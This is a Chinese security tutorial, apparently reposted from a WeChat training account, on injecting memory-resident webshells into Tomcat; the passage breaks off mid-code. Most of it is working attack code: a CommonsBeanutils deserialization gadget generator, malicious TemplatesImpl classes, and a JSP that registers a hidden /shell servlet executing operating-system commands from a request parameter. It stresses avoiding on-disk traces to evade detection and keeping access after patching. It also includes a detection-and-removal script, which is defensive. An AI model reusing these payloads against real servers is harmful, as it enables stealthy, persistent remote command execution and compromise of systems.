公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习
目录
前言
Java 内存马
Tomcat-Servlet 型内存马
流程分析
反序列化注入Tomcat-Servlet型内存马
上传jsp注入Tomcat-Servlet内存马
Tomcat-Servlet 型内存马查杀
Tomcat-Filter 型内存马
流程分析
反序列化注入Tomcat-Filter 型内存马
jsp注入Tomcat-Filter 型内存马
Tomcat-Listener 型内存马
流程分析
反序列化注入Tomcat-Listener 型内存马
jsp注入Tomcat-Listener 型内存马
Tomcat-Websocket 型内存马
流程分析
反序列化注入 Tomcat-Websocket 型内存马
jsp注入Tomcat-Websocket 型内存马
Java-Agent 型内存马
基本原理
反序列化注入 JavaAgent 型内存马
SpringMVC Controller 内存马注入
基础知识
ApplicationContext
ContextLoaderListener与DispatcherServlet
流程分析
反序列化注入SpringBoot Controller 内存马
PHP 内存马
注入方法:
Python Flask 内存马
注入流程分析
payload变形
查杀与检测
总结
参考链接
因为内存马种类繁杂,每次都要翻看很多文章,又加上最近有某个大活动,因此就写了这篇文章来总结一下常见的3种语言(PHP、Python、JAVA)的内存马的注入方法和查杀方法,并尝试自己完成一个内存马查杀工具的实现。希望本篇文章能给师傅们带来一些启发。文章一长就难免在表达和准确性上有所疏漏,如有错误或不足,请师傅们指正。
Java内存马的种类很多,这篇文章主要对Tomcat-Servlet、Tomcat-Filter、Tomcat-Listener、Tomcat-Websocket、JavaAgent以及SpringMVC Controller等种类的内存马进行研究。很多师傅在分析或者注入Java内存马的时候利用的exp大多是jsp形式的,通过向目标Web目录上传jsp文件,之后访问该jsp文件执行jsp代码从而注入Java内存马。因为这种方式仍然存在文件落盘,而存在文件落盘就意味着很容易被IDS监测到,因此笔者认为这种办法应当是我们拿不到代码执行权限,但是可以拿到命令执行权限或文件上传权限的时候再去利用。那如果我们可以拿到代码执行权限,比如目标存在反序列化漏洞的情况,我们又该如何做到在不上传jsp的条件下,完成内存马的注入?其实难点在于我们该怎样获取request对象。获取request对象并不仅仅是反序列化注入内存马要考虑的,在Java RCE Echo中,也是重中之重。本篇文章重点介绍通过反序列化注入内存马的方法。(本篇文章默认读者拥有基础的Tomcat、JavaAgent以及Spring框架知识)
PHP内存马是通过伪造fastcgi协议包与php-fpm进行通信,改变auto_prepend_file配置,从而在每次访问正常PHP文件时加载我们构造好的php马。因为笔者并不认可PHP不死马是一种内存马技术,因此在这篇文章就不做具体介绍了。
Python内存马,原出自hexman学长介绍的一种方法:https://github.com/iceyhexman/flask_memory_shell,通过利用flask/jinja2 SSTI漏洞来实现内存修改,注入内存马。网上也有不少文章在介绍这种内存马,然而仅仅只是根据payload来解释,没有人从代码层去分析能够注入内存马的原因,本篇文章会从代码层分析flask的请求上下文机制,并根据注入原理给出一些payload变形。虽然flask/jinja2 SSTI漏洞在真实场景中很难出现,但是在一些AWD比赛上关于flask/jinja2 SSTI漏洞的题目却是经常有,为了能够在目标修补SSTI漏洞后维持权限,这种内存马也是很值得学一学的。
笔者Tomcat的版本是9.0.76,不同的Tomcat版本可能会有所差异,请注意。
首先配置一个最简单的Servlet:
import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet", loadOnStartup = 2)
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("");
out.println("" + message + "
");
out.println("");
}
public void destroy() {
}
}
此处写loadOnStartup=2是为了后面的调试更好理解。接着导入tomcat-catalina依赖,应与自己的tomcat版本一致:
org.apache.tomcat
tomcat-catalina
9.0.76
provided
在org.apache.catalina.startup.ContextConfig#configureContext处打下断点,开始调试:
因为我们是采用注解的方式配置Servlet,因此此处我们仍然可以获取到创建的Servlet。首先是DefalutServlet以及JspServlet,接着就遍历到了我们创建的HelloServlet了:
之后执行this.context.createWrapper()
创建Wrapper,Wrapper 表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等:
可以看到this.context是一个StandardContext对象。那我们继续调试看看对Wrapper进行了哪些操作:
首先获取Servlet的LoadOnStartup和enabled,并设置给Wrapper。其中LoadOnStartup就是我们在注解中配置的参数,它表示servlet被加载的先后顺序。继续跟进:
这里调用了Servlet的getServletName()方法,获取servlet的名字,也就是我们在主机中配置的name参数的值,接着将name的值设置给Wrapper。接着还将servlet.getRunAs()
的结果传入给了Wrapper,不过因为此处servlet.getRunAs()
的执行结果是null且roleRefs.size()==0
,因此此处我们可以忽略:
继续跟进:
可以看到此处将Wrapper的servletClass设置为HelloServlet的全限定名。继续跟进,因为Servlet的multipartDef==null、asyncSupported==null,因此以下部分我们可以跳过:
之后又执行了addChild方法将这个Wrapper添加进了StandardContext中:
接下来添加Servlet-Mapper,也就是web.xml中的
,不过因为我们是通过注解设置url和servlet的映射关系,因此此处是通过注解获取而非web.xml。接着循环addServletMappingDecoded将url和servlet类做映射:
至此我们就看完了servlet的注册流程,但是还有一个疑问,那就是这个StandardContext从哪里获取?
其实这个分两种情况,一种是网上很常见的,将内存马的生成代码写入到jsp并上传到目标服务器,接着访问该jsp然后注入内存马,这种方法获取StandardContext比较容易,因为jsp内置request对象,因此可以直接利用request对象反射获取。但是这种情况要求文件落地,很容易被检测到。还有一种情况是通过某些gadget chain(如CC11,CB1)打入字节码,然后注入内存马。这种情况需要我们知道request存储的位置,获取到request对象后通过反射获取StandardContext。第二种情况更隐蔽,但同时要求和难度更大,这里对两种方法都进行介绍。
添加commons-beanutils依赖:
commons-beanutils
commons-beanutils
1.9.2
并修改HelloServlet的doPost方法,我们手动构造一个反序列化漏洞环境:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
String codes = request.getParameter("codes");
System.out.println(codes);
byte[] codebytes = Base64.getDecoder().decode(codes);
try {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(codebytes));
ois.readObject();
ois.close();
}catch (ClassNotFoundException c){
}
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("");
out.println("反序列化成功!
");
out.println("");
}
反序列化注入内存马获取request对象的方法,我这里提供两种。一种是kingkk师傅提出的:
1、反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
2、初始化
lastServicedRequest
和lastServicedResponse
两个变量,默认为null3、从
lastServicedResponse
中获取当前请求response,并且回显内容。
这种方法缺点是只使用于Tomcat,但优点是耗时更短,获取request更稳定。另一种是c0ny1师傅提出的通过Thread.currentThread()或Thread.getThreads()获取:
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过
Thread.currentThread()
或Thread.getThreads()
获取。当然其他全局变量也有可能,这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码,发现[MBeanServer](https://xz.aliyun.com/t/7535)
中也有request对象。
这种方法的优点是更加通用,在多种Web中间件中都可以使用,但缺点是耗时稍长,且有时候会出现没有搜索到request对象的情况。出现首先给出第一种方法的EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue
以下是CB1反序列化所需要的恶意模板类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class EvilTemplatesImpl extends AbstractTranslet implements Servlet{
private transient ServletConfig config;
@Override
public void init(ServletConfig var1) throws ServletException{
return;
};
public ServletConfig getServletConfig(){
return this.config;
};
public String getServletInfo(){
return "Servlet Info";
};
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void destroy() {
return;
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl(String abc){
}
public EvilTemplatesImpl() throws Exception{
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
AddMemoryShell(lastServicedRequest, lastServicedResponse);
}
}
public static void AddMemoryShell(ThreadLocal lastServicedRequest, ThreadLocal lastServicedResponse) throws Exception{
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
//获得StandardContext后按照分析的步骤做就行了
Wrapper EvilWrapper = standardContext.createWrapper();
//(重点)此处不利用无参构造方法获得EvilTemplatesImpl对象是避免循环执行无参构造方法中的代码!
Servlet evilTemplates = new EvilTemplatesImpl("rainb0w");
String ClassName = evilTemplates.getClass().getSimpleName();
EvilWrapper.setName(ClassName);
EvilWrapper.setLoadOnStartup(1);
EvilWrapper.setServlet(evilTemplates);
EvilWrapper.setServletClass(evilTemplates.getClass().getName());
standardContext.addChild(EvilWrapper);
standardContext.addServletMappingDecoded("/shell", ClassName);
}
}
这里无法直接new一个Servlet对象,具体原因未知(后续反序列化注入Tomcat-Filter型内存马时同样无法直接创建一个Filter对象)。因此采用办法的是让EvilTemplatesImpl实现Servlet接口,接着重写接口中的方法,将接受参数执行命令并回显的部分写入service方法中,最后我们直接创建一个EvilTemplatesImpl对象即是一个Servlet对象。但是切记不要使用无参构造方法创建,因为反序列化时我们无参构造方法中的代码是默认执行的,如果这里创建对象时还用无参构造方法,那么就会造成递归。实际效果如下:
首先将生成的payload进行url编码发送:
接着进入/shell即可执行命令:
以下是第二种方法的EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl1.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}
恶意模板类如下所示:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Scanner;
public class EvilTemplatesImpl1 extends AbstractTranslet implements Servlet{
private transient ServletConfig config;
@Override
public void init(ServletConfig var1) throws ServletException{
return;
};
@Override
public ServletConfig getServletConfig(){
return this.config;
};
@Override
public String getServletInfo(){
return "Servlet Info";
};
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void destroy() {
return;
}
static HashSet h;
static HttpServletRequest r;
static HttpServletResponse p;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl1(){
r = null;
p = null;
h =new HashSet();
F(Thread.currentThread(),0);
}
public EvilTemplatesImpl1(String s){
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&HttpServletRequest.class.isAssignableFrom(o.getClass())){
r = (HttpServletRequest)o;
if(r.getHeader("rainb0w")==null) {
r = null;
}else{
try {
p = (HttpServletResponse) r.getClass().getMethod("getResponse").invoke(r);
} catch (Exception e) {
r = null;
}
}
}
if(r !=null&& p !=null){
AddMemoryShell(r,p);
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
public static void AddMemoryShell(HttpServletRequest request, HttpServletResponse response){
try {
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
Wrapper EvilWrapper = standardContext.createWrapper();
//(重要!)此处不利用无参构造方法获得EvilTemplatesImpl对象是避免循环执行无参构造方法中的代码!
Servlet evilServlet = new EvilTemplatesImpl1("rainb0w");
String ClassName = evilServlet.getClass().getSimpleName();
EvilWrapper.setName(ClassName);
EvilWrapper.setLoadOnStartup(1);
EvilWrapper.setServlet(evilServlet);
EvilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(EvilWrapper);
standardContext.addServletMappingDecoded("/shell", ClassName);
}catch (Exception e){
}
}
}
阅读代码,可以看到我们这里判断是否获取到了当前请求的request对象时,是通过判断当前请求是否存在rainb0w请求头来进行的。如果能够获取到当前请求的request对象,那么就通过反射获取到当前请求的response对象。接着传入到AddMemoryShell方法用于获取StandardContext。因此我们在传入生成的payload的时候就需要发送rainb0w请求头:
因为通过这种方法获取request对象不稳定,因此可能需要传入多次payload。
相比反序列化传入字节码注入内存马相比,上传jsp的方法则要简单的多,因此jsp中内置request对象,我们可以直接用内置的request对象反射获得StandardContext:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class ServletShell extends HttpServlet {
public void init(FilterConfig config) throws ServletException {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
PrintWriter out = response.getWriter();
String command = request.getParameter("cmd");
BufferedReader br = null;
if(command == null){
command = "whoami";
}
Process p = Runtime.getRuntime().exec(command);
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuffer stringBuffer = new StringBuffer();
while ((line = br.readLine())!=null)
{
stringBuffer.append(line + "\n");
}
out.println(stringBuffer.toString());;
}
public void destroy( ){
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
ServletShell servletShell = new ServletShell();
wrapper.setName(servletShell.getClass().getSimpleName());
wrapper.setServlet(servletShell);
wrapper.setServletClass(servletShell.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", servletShell.getClass().getSimpleName());
%>
和Servlet相关的是children
和servletMappings
两个属性,这两个属性分别维护着Servlet的定义,以及Servlet的映射关系。在StandardContext中有removeChild()方法来删除指定的Wrapper:
org.apache.catalina.core.StandardContext#removeServletMapping方法通过指定的pattern删除Servlet映射。
有了这两个方法我们就可以删除掉指定的Servlet了。那我们该怎么知道哪些类是内存马需要被删除呢?有以下几种判断方法:
判断该Class是否有对应的磁盘文件
dump Class字节码,反编译审计是否存在恶意代码
是否被可疑的ClassLoader所加载?
根据Class名及urlpattern判断
以下给出查杀代码:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Iterator" %>
<%!
public Object getStandardContext(HttpServletRequest request) throws NoSuchFieldException, IllegalAccessException {
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
return standardContext;
}
%>
<%!
public synchronized HashMap getChildren(HttpServletRequest request) throws Exception {
Object standardContext = getStandardContext(request);
Field childrenFiled = standardContext.getClass().getSuperclass().getDeclaredField("children");
childrenFiled.setAccessible(true);
HashMap children = (HashMap) childrenFiled.get(standardContext);
return children;
}
%>
<%!
public synchronized HashMap getServletMaps(HttpServletRequest request) throws Exception {
Object standardContext = getStandardContext(request);
Field servletMappingsField = standardContext.getClass().getDeclaredField("servletMappings");
servletMappingsField.setAccessible(true);
HashMap servletMappings = (HashMap) servletMappingsField.get(standardContext);
return servletMappings;
}
%>
<%!
public boolean classFileIsExists(Class clazz) {
if (clazz == null) {
return false;
}
String className = clazz.getName();
String classNamePath = className.replace(".", "/") + ".class";
URL url = clazz.getClassLoader().getResource(classNamePath);
if (url == null) {
return false;
} else {
return true;
}
}
%>
<%!
public boolean isMemoryShell(String servletClassLoaderName, Class servletClass){
if((!servletClassLoaderName.contains("org.apache.catalina.loader") && !servletClassLoaderName.equals("java.net.URLClassLoader")) || !classFileIsExists(servletClass)){
return true;
}else {
return false;
}
}
%>
<%!
public synchronized void deleteServlet(HttpServletRequest request, String servletName) throws Exception {
HashMap childs = getChildren(request);
Object objChild = childs.get(servletName);
String urlPattern = null;
HashMap servletMaps = getServletMaps(request);
for (Map.Entry servletMap : servletMaps.entrySet()) {
if (servletMap.getValue().equals(servletName)) {
urlPattern = servletMap.getKey();
break;
}
}
if (urlPattern != null) {
// 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping
Object standardContext = getStandardContext(request);
Method removeServletMapping = standardContext.getClass().getDeclaredMethod("removeServletMapping", new Class[]{String.class});
removeServletMapping.setAccessible(true);
removeServletMapping.invoke(standardContext, urlPattern);
// 反射调用 org.apache.catalina.core.StandardContext#removeChild
Method removeChild = standardContext.getClass().getDeclaredMethod("removeChild", new Class[]{org.apache.catalina.Container.class});
removeChild.setAccessible(true);
removeChild.invoke(standardContext, objChild);
}
}
%>
<%
HashMap children = getChildren(request);
Map servletMappings = getServletMaps(request);
Map servletMappingsCopy = new HashMap<>(servletMappings);
for(Map.Entry entry : servletMappingsCopy.entrySet()){
String servletMapPath = entry.getKey();
String servletName = entry.getValue();
StandardWrapper wrapper = (StandardWrapper) children.get(servletName);
Class servletClass = null;
try {
servletClass = Class.forName(wrapper.getServletClass());
} catch (Exception e) {
Object servlet = wrapper.getServlet();
if (servlet != null) {
servletClass = servlet.getClass();
}
}
if (servletClass != null) {
out.write("");
String servletClassName = servletClass.getName();
String servletClassLoaderName = null;
try {
servletClassLoaderName = servletClass.getClassLoader().getClass().getName();
} catch (Exception e) {
}
if(isMemoryShell(servletClassLoaderName, servletClass)){
deleteServlet(request, servletName);
}
}
}
%>
代码很容易理解,稍微解释一下吧。首先获取children属性和servletMappings属性,之后不断遍历servletMappings,获取ClassName以及ClassLoaderName,之后调用isMemoryShell函数判断是否为内存马,如果是内存马则删除,以下是isMemoryShell函数:
public boolean isMemoryShell(String servletClassLoaderName, Class servletClass){
if((!servletClassLoaderName.contains("org.apache.catalina.loader") && !servletClassLoaderName.equals("java.net.URLClassLoader")) || !classFileIsExists(servletClass)){
return true;
}else {
return false;
}
}
判断逻辑很简单粗暴,判断是否是一个正常的ClassLoader以及该Class是否有对应的磁盘文件。
Tomcat-Filter 型内存马
流程分析
写一个简单的Filter:
package com.example.tomcatservletmemshell;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpFilter;
@WebFilter(filterName = "helloFIlter", urlPatterns = "/hello-servlet")
public class HelloFilter extends HttpFilter {
public void init(FilterConfig config) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException {
System.out.println("rainb0w");;
// 把请求传回过滤链
chain.doFilter(request,response);
}
public void destroy( ){
}
}
因为我们是通过注解的方式添加了一个Filter,因此我们需要找一下该注解的处理位置,首先利用maven下载源代码,之后全局搜索:
进入后,发现org.apache.catalina.startup.ContextConfig#processAnnotationWebFilter
是处理@WebFilter的函数:
打下断点,跟进:
可以看到,filterName的值为我们在注解中配置好的filterName。接着往下看:
创建filterDef对象,设置了filterName和filterClass,其中filterClass是我们创建的FIlter的全限定名。之后遍历evps
for 循环两次,evp.getNameString()
获得的字符串结果有两个,一个是filterName,还有一个是urlPatterns,也就是我们在注解中配置那两个参数。当name变量被赋值urlPatterns时,进入if语句:
得到urlPatterns并遍历,将所有的urlPattern添加进filterMap中。继续跟进:
可以看到,通过调用addFilter()
和addFilterMapping()
将filterDef
和filterMap
添加进fragment
中。fragment是个webXml对象,里面存放着web的各种配置信息,会和web.xml读取出来的信息会进行合并。继续跟进,执行到如下代码:
又是configureContext
函数,还记得我们上面在分析注册Servlet流程的时候也看到了这个函数吗?这里注释解释得也很清楚,此处是将合并后的web.xml应用于Context。进入configureContext函数,此处调用addFilterDef()和addFilterMap()方法,context同样是一个StandardContext对象:
但是请注意,此时仍然完成自定义 Filter 的注册,因为并没有将这个 Filter 放到 FilterChain 中。之后我们在doFilter处打下断点,访问/hello-servlet,看到调用栈:
发现在下图的位置org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
执行了doFilter
:
可以看到filter是从filterConfig取出的,而filterConfig是从filters数组中的元素赋值得到的。那么ApplicationFilterChain是什么时候被创建的呢?它其中的filters字段又是什么时候被赋值的呢?继续看调用栈:
向上回溯,可以看到下图的位置执行了filterChain.doFilter(),也正是因为这里的调用,我们创建的Filter中的doFilter得以执行:
向上看,可以看到filterChain是通过ApplicationFilterFactory.createFilterChain()得到的。跟进org.apache.catalina.core.ApplicationFilterFactory#createFilterChain,打下断点,进行调试:
取出StandardContext中的filterMaps并复制给filterMaps,可以看到filterMaps中有我们创建的Filter:
继续跟进:
通过.addFilter()方法添加进从StandardContext中取出的filterConfig,并将其赋值给filterChain中的filters数组字段中的元素。至此,我们就已经完整地跟进了整个Filter的注册和doFilter的调用。
过程其实挺好理解,总结一下:
1.获取StandardContext:
2.创建FilterDef,通过addFilterDef()函数添加进StandardContext
3.创建ApplicationFilterConfig,通过反射拿到StandardContext的filterConfigs字段,并调用put()方法将ApplicationFilterConfig添加进StandardContext
3.创建FilterMap,通过addFilterMapBefore()函数添加进StandardContext。
反序列化注入Tomcat-Filter 型内存马
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(FilterTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
